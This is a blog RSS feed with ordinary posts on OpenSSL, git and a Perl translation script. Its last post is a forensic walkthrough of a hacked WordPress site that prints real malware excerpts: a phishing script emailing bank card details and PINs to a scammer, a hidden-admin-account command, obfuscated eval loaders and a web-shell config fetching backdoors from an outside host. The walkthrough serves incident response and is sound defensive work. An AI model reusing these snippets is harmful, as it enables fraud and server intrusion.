<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>&lt;/Random&gt;</title>
	<atom:link href="https://www.analogrithems.com/rant/feed/" rel="self" type="application/rss+xml" />
	<link>https://www.analogrithems.com/rant</link>
	<description>If I have seen a little further it is by standing on the shoulders of Giants. - Newton</description>
	<lastBuildDate>Fri, 01 Nov 2013 23:34:53 +0000</lastBuildDate>
	<language>en-US</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=6.9.4</generator>
	<item>
		<title>Generating Keys, Certificate Requests, Self Signed Certs and Verifying them with OpenSSL</title>
		<link>https://www.analogrithems.com/rant/generating-keys-certificate-requests-self-signed-certs-verifying-openssl/</link>
					<comments>https://www.analogrithems.com/rant/generating-keys-certificate-requests-self-signed-certs-verifying-openssl/#respond</comments>
		
		<dc:creator><![CDATA[analogrithems]]></dc:creator>
		<pubDate>Fri, 01 Nov 2013 23:33:22 +0000</pubDate>
				<category><![CDATA[Security]]></category>
		<category><![CDATA[Openssl]]></category>
		<category><![CDATA[SSL]]></category>
		<guid isPermaLink="false">http://www.analogrithems.com/rant/?p=6544</guid>

					<description><![CDATA[I spin up a lot of sites and after the work is all done the PM comes to me at launch and informs me he never got the required certificate he was supposed to. Â Then he asks me to create it for him. Â This happens so much I feel like it&#8217;s time to write a [&#8230;]]]></description>
										<content:encoded><![CDATA[<p>I spin up a lot of sites and after the work is all done the PM comes to me at launch and informs me he never got the required certificate he was supposed to. Â Then he asks me to create it for him. Â This happens so much I feel like it&#8217;s time to write a blog post to explain to him how to do it on his mac sitting right in front of him. Â Feel free to send this link to your users that are constantly asking you to do these tasks as well</p>
<p>First you need to understand the basic overview of how HTTPS (SSL/TLS) works. Â  Â To create a SSL certificate you need to create three things. Â First the private key, this private key is used by the webserver to decrypt traffic that comes in. Â You will need to use this private key to generate a certificate signing requests. Â This requests takes a finger print of your key and prepares a formal request that goes to the CA (The person who issues you the actual certificate) of your choosing. Â This request is called the CSR or certificate signing request. Â The CA or certificate authority is then supposed to verify you are who you say you are then they sign your CSR and return it to you. Â This returned file is the certificate.</p>
<p>Note the following commands assume you have the openssl tools installed on your computer. Â If you are using a mac or linux computer these are usually installed by default.</p>
<h2>Step 1) Generate a private Key</h2>
<p>openssl req -newÂ  -newkey rsa:2048 -nodes -keyout yourdomain.com.key</p>
<p>So this is going to create a create a new RSA key that is 2048 bits long and has now passphrase (nodes). Â If you require a passphrase on your cert ommit the -nodes. Â Not that if your key has a passphrase you will need to be there to enter the password into your webserver each time it recycles. When you run this command it&#8217;s going to ask you several questions such as Country, State, City, Organization Name, Organization Unit Name, Common Name etc. Â The country name should just be the two letter abbreviation, everything else should be fullname (Do not abbreviate). Â The common name is the most important part of this step. Â This needs to be the exact domain name you want for the certificate. Â So if your site is www.yourdomain.com your common name should beÂ <strong>www.yourdomain.com</strong> Then the CSR is created later that is the domain they are going to verify against. Â Most CA&#8217;s are nice enough to make your certificate work with www and with just the base name. Â Be sure to ask them to do that as it is very helpful.</p>
<p>Last you should be very careful with this key file. Â It is your secret key that is used to decrypt data encrypted with your cert. Â If someone else gets this then your SSL is useless and they can see all of your encrypted connections. Â The only person you should ever share this private key with is your hosting company. Â They will need the Key and the final cert to install into the webserver that will host your site.</p>
<h2>Step 2) Create a CSR from your key</h2>
<pre>openssl req -out yourdomain.com<span style="text-decoration: underline;">.csr</span> -key <span style="text-decoration: underline;">yourdomain.com.key</span> -new</pre>
<p>This command takes the previously created key and prepares the CSR we discussed earlier. Â The <strong>yourdomain.csr</strong> will be the file you send to the CA to verify</p>
<h2>Create a self signed certificate</h2>
<p>If you will not be using an official certificate authority to sign your certificate then you can just do the famous self signed. Â If you have a self signed certificate then you will get a warning when visiting the site that the certificate could not be validated. Â What does that mean? Â It &#8216;s simple browsers have a list of Certificate Authorities they trust, you are not one of them for by default they can&#8217;t say your trusted. Â Fear not though, your data is still encrypted, it&#8217;s just saying you did this certificate your self and no verified you are who you say you are.</p>
<pre>openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout <span style="text-decoration: underline;">yourdomain.com.key</span> -out <span style="text-decoration: underline;">yourdomain.com.crt

</span></pre>
]]></content:encoded>
					
					<wfw:commentRss>https://www.analogrithems.com/rant/generating-keys-certificate-requests-self-signed-certs-verifying-openssl/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>How to recover lost git commits</title>
		<link>https://www.analogrithems.com/rant/recover-lost-git-commits/</link>
					<comments>https://www.analogrithems.com/rant/recover-lost-git-commits/#respond</comments>
		
		<dc:creator><![CDATA[analogrithems]]></dc:creator>
		<pubDate>Fri, 01 Nov 2013 21:10:12 +0000</pubDate>
				<category><![CDATA[Development]]></category>
		<category><![CDATA[git]]></category>
		<guid isPermaLink="false">http://www.analogrithems.com/rant/?p=6541</guid>

					<description><![CDATA[We&#8217;ve all been there, your working on a large group of code with some developers and you write a chunk of code for a new feature and commit it. Â A few weeks later you go to use it and find somehow somewhere someone deleted your code. Â It&#8217;s gone never to be seen again. Â But hey, [&#8230;]]]></description>
										<content:encoded><![CDATA[<p>We&#8217;ve all been there, your working on a large group of code with some developers and you write a chunk of code for a new feature and commit it. Â A few weeks later you go to use it and find somehow somewhere someone deleted your code. Â It&#8217;s gone never to be seen again. Â But hey, this is git, it promised to keep track of all of our code for us. Â It&#8217;s got to be in there somewhere still right? Â Yes and along comes git grep to the rescue. Â If you can recall the name of some variables you may have used in your code you can use git grep to search the commit history to find it.</p>
<p>One thing you need to keep in mind if you have a repo with more then one branch you may need to switch branches to search the different commit histories</p>
<h3>Pay dirt!</h3>
<pre>[analog@dev htdocs]# git grep 'display_pri' $(git rev-list --all)
6e6242576c9e4874b0edbb0cceb9adec1b380a47:.upgradeScripts/displayPrice.php:                                              $json['prices'][$i]['display_price'] = 1;
6e6242576c9e4874b0edbb0cceb9adec1b380a47:.upgradeScripts/displayPrice.php:                                              $json['prices'][$i]['display_price'] = 0;</pre>
<p> So what are we doing here?  I&#8217;m asking git to search all the commits listed with <b>git rev-list &#8211;all</b> for a string that contains <b>display_pri</b>  Right away you see it finds a commit that has some code with that string.  Now we can use <b>git checkout 6e6242576c9e4874b0edbb0cceb9adec1b380a47</b>  to switch to that commit like we would a branch.  Do not commit anything in this branch/commit.  You are now in a detached HEAD, this means that if you commit from here you could overwrite other code and be in the same boat all over again.  Instead checkout the commit in a different place and copy the code to a new current branch to add it back</p>
]]></content:encoded>
					
					<wfw:commentRss>https://www.analogrithems.com/rant/recover-lost-git-commits/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Auto Translate PO File with Google Translate v2</title>
		<link>https://www.analogrithems.com/rant/auto-translate-po-file-with-google-translate-v2/</link>
					<comments>https://www.analogrithems.com/rant/auto-translate-po-file-with-google-translate-v2/#respond</comments>
		
		<dc:creator><![CDATA[analogrithems]]></dc:creator>
		<pubDate>Fri, 01 Jun 2012 05:32:08 +0000</pubDate>
				<category><![CDATA[Web Development]]></category>
		<category><![CDATA[gettext]]></category>
		<category><![CDATA[i18n]]></category>
		<category><![CDATA[po]]></category>
		<category><![CDATA[translation]]></category>
		<guid isPermaLink="false">http://www.analogrithems.com/rant/?p=3086</guid>

					<description><![CDATA[Doing translation in an application is a tough task. Â I wrote the following perl script to help the process along a bit using google translates v2 api. Â This script was written in 10 minutes and isn&#8217;t perfect but it did my whole project so I decided top share it here for others that may need [&#8230;]]]></description>
										<content:encoded><![CDATA[<p>Doing translation in an application is a tough task. Â I wrote the following perl script to help the process along a bit using google translates v2 api. Â This script was written in 10 minutes and isn&#8217;t perfect but it did my whole project so I decided top share it here for others that may need it.</p>
<p>This perl script requires a few modules from <a href="http://search.cpan.org">CPAN</a> listed here</p>
<ul>
<li><a href="http://search.cpan.org/~lorn/LWP-Curl-0.10/lib/LWP/Curl.pm">LWP::Curl</a></li>
<li><a href="http://search.cpan.org/~gaas/URI-1.60/URI/Escape.pm">URI::Escape</a></li>
<li><a href="http://search.cpan.org/~makamaka/JSON-2.53/lib/JSON.pm">JSON</a></li>
</ul>
<p>For this script to be useful for you, you need to have a google api v2 API key from google. The new v2 api requires you to pay for translations. Â The upside is, currently it doesn&#8217;t cost much. Â About $20USD for 2,000,000 characters. Â Using this script I was able to translate about 20k words in about 15min.</p>
<p>&nbsp;</p>
<p>To get started you must have a google account with translate api access. Â Go to the <a href="https://code.google.com/apis/console/#">google api console</a>Â Click on service an activateÂ <a href="https://code.google.com/apis/console/#project:90701216208:stats:translate">Translate API</a>Â service. Â Next click on API Access and generate a Server API key and give it your static IP for it to lock access to. Â Once it generates an API key for you place that in the header of the following script in the $api_key var</p>
<p>&nbsp;<br />
[crayon lang=&#8221;perl&#8221;]<br />
#!/usr/bin/perl</p>
<p>use strict;<br />
use warnings;<br />
use LWP::Curl;<br />
use URI::Escape;<br />
use JSON -support_by_pp;</p>
<p>use File::Slurp;</p>
<p>my $version = &#8216;0.1&#8217;;<br />
my %opt;<br />
my $api_key = &#8216;YOUR GOOGLE api v2 key here&#8217;;<br />
my $googleTransLateURL = &#8216;https://www.googleapis.com/language/translate/v2&#8217;;</p>
<p>sub init(){<br />
        use Getopt::Std;<br />
        my $opt_string = &#8216;hVl:s:f:o:&#8217;;<br />
        getopts( &#8220;$opt_string&#8221;, \%opt ) or usage();<br />
        if($opt{V}){<br />
                print $version.&#8221;\n&#8221;;<br />
                exit;<br />
        }</p>
<p>        usage() if $opt{h};<br />
        usage() if !$opt{f};<br />
        main();<br />
}</p>
<p>sub usage(){<br />
        print STDERR <<"EOF";
Automated tool to take a PO file and use google translate to translate each string in the file.

$0 [-V] -f <textFile></p>
<p>-f      The po file you want to translate.<br />
-l	The language you want it translated to<br />
-s	Source Language of text, defaults to en<br />
-h      This Help screen<br />
-V      Version<br />
EOF<br />
exit;<br />
}</p>
<p>init();</p>
<p>sub main(){</p>
<p>        processFile($opt{f});<br />
}</p>
<p>sub processFile(){<br />
	my $file = shift();</p>
<p>	my @poFile = read_file($file);</p>
<p>	my $i = 0;<br />
	foreach my $line (@poFile){<br />
		if($line =~ m/^msgid &#8220;&#8221;$/){<br />
			print $i;<br />
		}elsif($line =~ m/^msgid &#8220;(.*)&#8221;$/){<br />
			my $translateString = &#8216;msgstr &#8220;&#8216;.transLate($1).'&#8221;&#8216;.&#8221;\n&#8221;;<br />
		$i++;<br />
			print $line;<br />
			print $translateString;<br />
		}elsif($line  =~ m/^msgstr/){<br />
			#skipp empty string, get it from above<br />
			next();<br />
		}else{<br />
			# normal line print it as usual<br />
			print $line;<br />
		}<br />
	}<br />
}</p>
<p>sub transLate(){<br />
	my $string = shift();</p>
<p>	my ($sLang, $targetLang, $translatedString);</p>
<p>	if(!$opt{s}){<br />
		$sLang = &#8216;en&#8217;<br />
	}else{<br />
		$sLang = $opt{s};<br />
	}</p>
<p>	if(!$opt{l}){<br />
		print &#8220;ERROR: No target language was specified.\n&#8221;;<br />
		usage();<br />
	}else{<br />
		$targetLang = $opt{l};<br />
	}</p>
<p>	my $lwpcurl = LWP::Curl->new();</p>
<p>	my $args = &#8216;?key=&#8217;.$api_key.&#8217;&#038;source=&#8217;.$sLang.&#8217;&#038;target=&#8217;.$targetLang.&#8217;&#038;q=&#8217;.uri_escape($string);<br />
	#for now we are testing our loop logic<br />
	my $content = $lwpcurl->get($googleTransLateURL.$args);<br />
	my $json = new JSON;</p>
<p>	my $json_text = $json->allow_nonref->utf8->relaxed->escape_slash->loose->allow_singlequote->allow_barekey->decode($content);</p>
<p>	foreach my $trans  (@{$json_text->{data}->{translations}}){<br />
		#ok, get the translated string now<br />
		$translatedString = $trans->{translatedText};<br />
	}</p>
<p>	return($translatedString);<br />
}<br />
[/crayon]<br />
&nbsp;</p>
<p>If you run the script without any arguments it will give you the following usage</p>
<blockquote><p>Automated tool to take a PO file and use google translate to translate each string in the file.</p>
<p>./googleTranslate.po.pl [-V] -f <textFile></p>
<p>-f      The po file you want to translate.<br />
-l	The language you want it translated to<br />
-s	Source Language of text, defaults to en<br />
-h      This Help screen<br />
-V      Version
</p></blockquote>
<p>Here is how I use the script to generate a spanish version of my gettext po file</p>
<blockquote><p>./googleTranslate.po.pl -f default.po -l &#8216;es&#8217; > es.po</p></blockquote>
]]></content:encoded>
					
					<wfw:commentRss>https://www.analogrithems.com/rant/auto-translate-po-file-with-google-translate-v2/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Migrate Cart66 to WP-e-Commerce</title>
		<link>https://www.analogrithems.com/rant/migrate-cart66-to-wp-e-commerce/</link>
					<comments>https://www.analogrithems.com/rant/migrate-cart66-to-wp-e-commerce/#respond</comments>
		
		<dc:creator><![CDATA[analogrithems]]></dc:creator>
		<pubDate>Wed, 25 Jan 2012 23:13:45 +0000</pubDate>
				<category><![CDATA[Web Development]]></category>
		<category><![CDATA[Wordpress]]></category>
		<category><![CDATA[Wordpress eCommerce]]></category>
		<guid isPermaLink="false">http://www.analogrithems.com/rant/?p=1310</guid>

					<description><![CDATA[If you&#8217;ve used Cart66 before then I&#8217;m sure you realize it&#8217;s pretty lacking in features.Â  In fact to really get a store going you have to do a lot of manual intervention and hacking.Â  It just doesn&#8217;t seem very clean.Â  The idea that you have to make a post or page your self for every [&#8230;]]]></description>
										<content:encoded><![CDATA[<p>If you&#8217;ve used Cart66 before then I&#8217;m sure you realize it&#8217;s pretty lacking in features.Â  In fact to really get a store going you have to do a lot of manual intervention and hacking.Â  It just doesn&#8217;t seem very clean.Â  The idea that you have to make a post or page your self for every product seems very kludge and has been a bit cumbersome for most users.Â  That is why I wrote this plugin cart66_migrate to Migrate Cart66 to WP-e-Commerce.</p>
<p>The plugin utilizes the <a title="WordPress eCommerce Data Feeder" href="http://www.analogrithems.com/rant/portfolio/wordpress-ecommerce-data-feeder/">ecommerce_feeder</a> plugin to import the items to your WP-e-Commerce store.</p>
<h2>Prerequisites</h2>
<p>In order to use this plugin you will need to already have the <a href="https://wordpress.org/extend/plugins/ecommerce-feeder/">Ecommerce Feeder plugin</a> installed and activated.Â Â Â  As well as <a href="https://wordpress.org/extend/plugins/wp-e-commerce/">WP-e-Commerce</a></p>
]]></content:encoded>
					
					<wfw:commentRss>https://www.analogrithems.com/rant/migrate-cart66-to-wp-e-commerce/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>So your WordPress Site Got Hacked, Now what?</title>
		<link>https://www.analogrithems.com/rant/so-your-wordpress-site-got-hacked-now-what/</link>
					<comments>https://www.analogrithems.com/rant/so-your-wordpress-site-got-hacked-now-what/#comments</comments>
		
		<dc:creator><![CDATA[analogrithems]]></dc:creator>
		<pubDate>Mon, 23 Jan 2012 19:16:26 +0000</pubDate>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[Web Development]]></category>
		<category><![CDATA[Web Security]]></category>
		<category><![CDATA[Wordpress]]></category>
		<guid isPermaLink="false">http://www.analogrithems.com/rant/?p=1160</guid>

					<description><![CDATA[Life is great, you have your very own WordPress site.Â  Your own soapbox to stand on and rant to the world!Â  Then one day your hosting provider gives you a tragic new, &#8216;Your site has been hacked!&#8217; Â  Your whole world is crushed, your privacy on your public facing blog is gone! So your WordPress [&#8230;]]]></description>
										<content:encoded><![CDATA[<p>Life is great, you have your very own WordPress site.Â  Your own soapbox to stand on and rant to the world!Â  Then one day your hosting provider gives you a tragic new, &#8216;Your site has been hacked!&#8217; Â  Your whole world is crushed, your privacy on your public facing blog is gone! So your WordPress site got hacked, now what?</p>
<p>First things first, be calm don&#8217;t make any harsh decisions.Â  Seriously, your first instinct will be to delete the site right away.Â  Don&#8217;t do that, you have a great advantage right now.Â  The hacker probably doesn&#8217;t know that you know yet.Â  This is your perfect opportunity to start gathering as much information as you can.</p>
<p>So first step, copy your website and access_log &amp; error_log off your webserver to another computer to start looking them over.Â  If you can export a copy of your database also then do that as well.Â  Next lets make a record of who is connected right now,Â  do a <strong>netstat -an</strong> and redirect the output to a text file for later viewing.</p>
<p>Now we still don&#8217;t want to remove any files, but we do want to make sure that our site isn&#8217;t being used for malicious purposes.Â  So we will limit access to the site to ourselves for a while.Â  Go to the root of your website and create a .htaccess file with the following in it</p>
<pre>order deny,allow
deny from all
allow from 192.168.1.5 #this should be whatever your current IP is</pre>
<p>Now it&#8217;s time to get to the sleuthing part to discover what happened.Â  The first thing we should look for is new files &#8211; suspicious files.Â  To do this we have a few options, one is to use the built in find command in Linux.</p>
<pre>find . -ctime -7 &gt; list</pre>
<p>This command says: show me all the files changed in the last seven days. You may need to go further back then seven days, but one week is a good place to start.Â  Start going through this list and look for files that don&#8217;t look like normal blog files.Â  Basically, you&#8217;re looking for anything that is some sort of script (*.php, *.js, *.pl, *.cgi), if your using IIS look for new asp files also.Â  Any new scripts that have appeared on your server should be very suspicious!</p>
<p>In one example I discovered the following files recently had their status changed.</p>
<p><a href="/rant/wp-content/uploads/2012/01/mod_stat.php_.txt">wordpress/mod_status.php</a><br />
<a href="/rant/wp-content/uploads/2012/01/identification.007.php_.txt">wordpress/wp-content/themes/identification.007.php</a><br />
<a href="/rant/wp-content/uploads/2012/01/identification.php_.txt">wordpress/wp-content/themes/identification.php</a><br />
<a href="/rant/wp-content/uploads/2012/01/mambo.php_.txt">wordpress/wp-content/themes/mambo.php</a><br />
<a href="/rant/wp-content/uploads/2012/01/ffe37f6533095659017bd96829adf796.php_.txt">wordpress/wp-content/themes/dt-chocolate/cache/ffe37f6533095659017bd96829adf796.php</a><br />
<a href="/rant/wp-content/uploads/2012/01/fb2bcd0fe34afef8c36427a5224e5983.php_.txt">wordpress/wp-content/themes/dt-chocolate/cache/fb2bcd0fe34afef8c36427a5224e5983.php</a><br />
<a href="/rant/wp-content/uploads/2012/01/69fe6694b6c6f71234f258694f02434c.php_.txt">wordpress/wp-content/themes/dt-chocolate/cache/69fe6694b6c6f71234f258694f02434c.php</a><br />
wordpress/wp-content/themes/dt-chocolate/cache/6de6dbf331c00df4d652ae9eb9a90bcc.php<br />
<a href="/rant/wp-content/uploads/2012/01/939eb3a34a3d191de76a00351712a316.php_.txt">wordpress/wp-content/themes/dt-chocolate/cache/939eb3a34a3d191de76a00351712a316.php</a><br />
<a href="/rant/wp-content/uploads/2012/01/header.php_.txt">wordpress/wp-content/themes/dt-chocolate/cache/header.php</a><br />
<a href="/rant/wp-content/uploads/2012/01/renm.php_.txt">wordpress/wp-content/themes/dt-chocolate/cache/renm.php</a></p>
<p>Let&#8217;s take a look at the files one by one and see what they are and what they do.</p>
<p>First file <strong>mod_status.php</strong> this file when we look at it sends up flags right away that it&#8217;s going to be suspicious.Â  Right away we see in this script that it is making some sort of connection off to other servers and the files were generated with Microsoft frontpage.Â  This tells us that these are your normal wordpress files.Â  I alsoÂ  see in this file that it has instructions to go and download other files.Â  So why not go download these files to your backup directory? We should also investigate further what the goal was.</p>
<p>Another thing I noticed was this line</p>
<pre>"$newuser = '@echo off;net user Admin /add /expires:never
/passwordreq:no;net localgroup "Administrators"
/add Admin;net localgroup "Users" /del Admin';"</pre>
<p>This was a really interesting attempt.Â  They were trying to see if they could add their own user to you Windows domain.Â  What this basically means is that if you were running this in IIS it would have tried to use the computers domain account to create a new admin user for true remote access.Â  Since this was a Linux computer and not part of a domain, we ignore it and move on.</p>
<p>The next file we look at is <a href="/rant/wp-content/uploads/2012/01/identification.007.php_.txt">identification.007.php</a>Â  after seeing this file, I know exactly what their goal was in this attack.Â  They wanted to use this site in a phishing attack.Â  This means they host a fake site on our server to try to gather information about other people.Â  Perhaps they are trying to gather bank account or credit card numbers by spamming users and having them come to your site and type in their sensitive information.Â  That way when it finally gets tracked down, you are to blame while each result was being emailed to them all along.</p>
<p>Remember how we said it was important that you don&#8217;t delete any files?Â  Well, this is why.Â  We now have proof that we weren&#8217;t the ones trying to steal people&#8217;s private information.Â  We also have records to show people where the information was sent to.Â  Lets keep going now.</p>
<p><a href="/rant/wp-content/uploads/2012/01/identification.php_.txt">identification.php</a> this is the script that takes all the results from the phishing form and emails it off to the scammer <strong>christinewebb@gala.net</strong> We may want to have fun with this later <img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f609.png" alt="😉" class="wp-smiley" style="height: 1em; max-height: 1em;" /></p>
<pre>$to = "christinewebb@gala.net";
//-----------------------------------
$accountNumber = $_POST['accountNumber'];
$cardNumber = $_POST['cardNumber'];
$dod = $_POST['dod'];
$dom = $_POST['dom'];
$doy = $_POST['doy'];
$uwpin = $_POST['uwpin'];
$naam = $_POST['naam'];
$adres = $_POST['adres'];
$postcode = $_POST['postcode'];
$Toegangscode1 = $_POST['Toegangscode1'];
$ip = $_SERVER['REMOTE_ADDR'];
$subj = "ABN ";
$msg = "Rekeningnummer : $accountNumber\nPasnummer : $cardNumber\nUw PIN: $uwpin\nGeboortedatum: $dod-$dom-$doy\nNaam: $naam\nAdres: $adres\nPostcode: $postcode\nMobiel Telefoonnummer: $Toegangscode1\nIp : $ip";
$from = "FROM: ABN";

                        {

                mail($to,$subj,$msg,$from);

                                }

                    header("location: http://www.abnamro.nl");</pre>
<p>Moving on, <a href="/rant/wp-content/uploads/2012/01/mambo.php_.txt">mambo.php</a> when looking at this file we see just a bunch of garbage.</p>
<pre>eval(gzinflate(base64_decode('
7f15f+K4sjgO/38/n/se......</pre>
<p>This is highly suspect, this right away tells us that someone is trying to hide something. What you see in the beginning says the following code is bas64 encoded (MIME encoded) and gzip. You only see this in one of two situations: One is in commercial software when they are trying to hide/obfuscate the source code, the other is when an attacker is trying to hide a malicious script from forensic tools like malware/virus scanners. The good thing is that this is a really week method to hide the code. Go to <a href="http://www.mobilefish.com/services/eval_gzinflate_base64/eval_gzinflate_base64.php">http://www.mobilefish.com/services/eval_gzinflate_base64/eval_gzinflate_base64.php</a> and pass it the code <a href="/rant/wp-content/uploads/2012/01/mambo.decrypted.txt">here is what our decrypted version would look like</a></p>
<p>Looking at the decrypted version tells me something very important. First, the attacker used a pre-made tool and secondly they wanted more than just to run a phishing site; they were trying to trojan this computer to keep using it.</p>
<pre>#######################################
## FaTaLisTiCz_Fx Fx29Sh 2.0.09.08   ##
define('sh_ver',"2.0.09.08");        ##
## By FaTaLisTiCz_Fx                 ##
## ? 03-09 2008 FeeLCoMz Community   ##
## Written under PHP 5.2.5           ##
#######################################
$sh_name = sh_name();                ##
#######################################
#$sh_mainurl        = "http://localhost/FX29SH/";
$sh_mainurl        = "http://uaedesign.com/xml/";
$fx29sh_updateurl  = $sh_mainurl."fx29sh_update.php";
$fx29sh_sourcesurl = $sh_mainurl."fx29sh.txt";
$sh_sourcez = array(
  "Fx29Sh"   =&gt; array($sh_mainurl."cyberz.txt","fx29sh.php"),
  "psyBNC"   =&gt; array($sh_mainurl."fx.tgz","fx.tgz"),
  "Eggdrop"  =&gt; array($sh_mainurl."fxb.tgz","fxb.tgz"),
  "BindDoor" =&gt; array($sh_mainurl."bind.tgz","bind.tgz"),
);
##[ AUTHENTICATION ]##
$auth = array(
  "login"     =&gt; "",
  "pass"      =&gt; "",
  "md5pass"   =&gt; "",
  "hostallow" =&gt; array("*"),
  "denied"    =&gt; "<a href="\&quot;$sh_mainurl\&quot;">".$sh_name."</a>: access denied!",
);
##[ END AUTHENTICATION ]##
$curdir = "./";
$tmpdir = "";
$tmpdir_logs = "./";
$log_email = "shell.shell99@yahoo.com";
$sess_cookie = "fx29shcook";
$sort_default = "0a"; #Pengurutan, 0 - nomor kolom. "a"scending atau "d"escending
$sort_save = TRUE; #Simpan posisi pengurutan menggunakan cookies.
$usefsbuff = TRUE;
$copy_unset = FALSE; #Hapus file yg telah di-copy setelah dipaste
$surl_autofill_include = TRUE;
$updatenow   = FALSE;
$gzipencode  = TRUE;
$filestealth = TRUE; #TRUE, tidak merubah waktu modifikasi dan akses.
$hexdump_lines = 8;
$hexdump_rows = 24;
$millink = milw0rm();
$win = strtolower(substr(PHP_OS,0,3)) == "win";
$disablefunc = getdisfunc();
##[ END OF CONFIGS ]##</pre>
<p>So the fact that the attacker used a pre-made tool tells us they were not experienced enough to do it on their own, and/or they used an automated scanning tool to find their vulnerable file and compromise the machine. The fact that the version of <strong>FaTaLisTiCz_Fx Fx29Sh </strong> is older (from 2008) and that a quick google search finds a much newer version confirms that they didn&#8217;t have the skill to do it on their own and they didn&#8217;t write this script. It also tells us that they probably have been using this script for a few years&#8230;at least.</p>
<p>Now that I know they tried to install much more malicious code, I want to stop right now and run some basic scans for trojans, viruses and rootkits on this server. Because the files they listed their (Eggdrop, Binddoor, Fx29sh &amp; psyBNC) are known rootkits. Go to <a href="http://www.chkrootkit.org/">www.chkrootkit.org/</a> download the chkrootkit and run it right away; it knows how to detect almost all of these root kits. Also right now start looking at your access_log to see if they actually ran this script and what they were able to do with it.</p>
<p>When I checked this system, it looked like they were not able to do much of anything. The sysadmin had taken some proper precautions and installed <a href="http://www.suphp.org/">SuPHP</a>. This limits the web server to run only as the php user who owns the files, it also prevents php from leaving the document root, kind of like a chroot. An analysis of the chkroot says no root kits where found. A deeper scan of the system says no backdoors were installed. This is very lucky. If a backdoor had been found, then their is no telling how far the attack had gone and your best course of action would have been to backup the system and start a rebuild. Once an attacker has elevated their privileges your system security is done.</p>
<p>Also, looking through the access log shows that this script was never accessed and greping through the webtree shows it wasn&#8217;t included in any other script (&#8220;Assuming the other scripts we haven&#8217;t explored yet aren&#8217;t also encoded like mambo&#8221;)</p>
<p>Next file <a href="/rant/wp-content/uploads/2012/01/ffe37f6533095659017bd96829adf796.php_.txt">ffe37f6533095659017bd96829adf796.php</a> right away we see some shenanigans again</p>
<pre>GIF89a?????Ë‡Ë‡Ë‡!Ë˜????,???? ? ?? ?;? ?php
@error_reporting(0); @set_time_limit(0); $lol = $_GET['lol']; $osc = $_GET['osc'];
if (isset($lol)) { eval(gzinflate(base64_decode('pZJda8IwFIbvB/...</pre>
<p>This time, what we see is that they tried to make this file look like some sort of gif to trick a sanity check into believing that it is a gif and not a malicious code. Using our decode method discussed earlier, the scripts that are embeded are as follows.</p>
<p><a href="http://www.analogrithems.com/rant/wp-content/uploads/2012/01/ffe37f6533095659017bd96829adf796.decoded.part1_.txt">ffe37f6533095659017bd96829adf796.decoded.part1</a><br />
<a href="http://www.analogrithems.com/rant/wp-content/uploads/2012/01/ffe37f6533095659017bd96829adf796.decoded.part2_.txt">ffe37f6533095659017bd96829adf796.decoded.part2</a><br />
<a href="http://www.analogrithems.com/rant/wp-content/uploads/2012/01/ffe37f6533095659017bd96829adf796.decoded.part3_.txt">ffe37f6533095659017bd96829adf796.decoded.part3</a></p>
<p>&nbsp;<br />
After looking at these scripts I can tell that the first two are just to do enumeration.  That means they are trying to see what commands your PHP supports as well as what version of php you are using.  The third script however, is trying to upload any file it wants to, to your web path. We can deduce that this may have been how they got into the system.<br />
So I&#8217;m going to grep through the access log and see if I&#8217;m right. </p>
<pre> 116.197.2.185 - - [21/Jan/2012:08:01:22 -1000] "GET /cms//wp-content/themes/dt-chocolate/cache/ffe37f6533095659017bd96829adf796.php HTTP/1.1" 200 354 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; InfoPath.3)" 116.197.4.30 - - [22/Jan/2012:21:28:21 -1000] "GET /cms//wp-content/themes/dt-chocolate/cache/ffe37f6533095659017bd96829adf796.php HTTP/1.1" 200 354 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; InfoPath.3)" </pre>
<p>Sure enough it looks like this script was indeed called, but how did this script get there? Based off of the logs, we now have a time frame and user agent to start looking through our logs.  Right away I start noticing the other files I discovered that they uploaded such as: </p>
<pre>
116.197.4.30 - - [22/Jan/2012:20:02:48 -1000] "GET /cms//wp-content/themes/dt-chocolate/cache/69fe6694b6c6f71234f258694f02434c.php HTTP/1.1" 200 8862 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; InfoPath.3)"

116.197.4.30 - - [22/Jan/2012:20:02:50 -1000] "GET /favicon.ico HTTP/1.1" 200 - "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; InfoPath.3)"

116.197.4.30 - - [22/Jan/2012:21:27:48 -1000] "POST /cms//wp-content/themes/dt-chocolate/cache/69fe6694b6c6f71234f258694f02434c.php HTTP/1.1" 200 8864 "http://www.rdecojewelry.com/cms//wp-content/themes/dt-chocolate/cache/69fe6694b6c6f71234f258694f02434c.php" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; InfoPath.3)"

116.197.4.30 - - [22/Jan/2012:21:27:52 -1000] "GET /favicon.ico HTTP/1.1" 200 - "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; InfoPath.3)"

116.197.4.30 - - [22/Jan/2012:21:28:21 -1000] "GET /cms//wp-content/themes/dt-chocolate/cache/ffe37f6533095659017bd96829adf796.php HTTP/1.1" 200 354 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; InfoPath.3)"

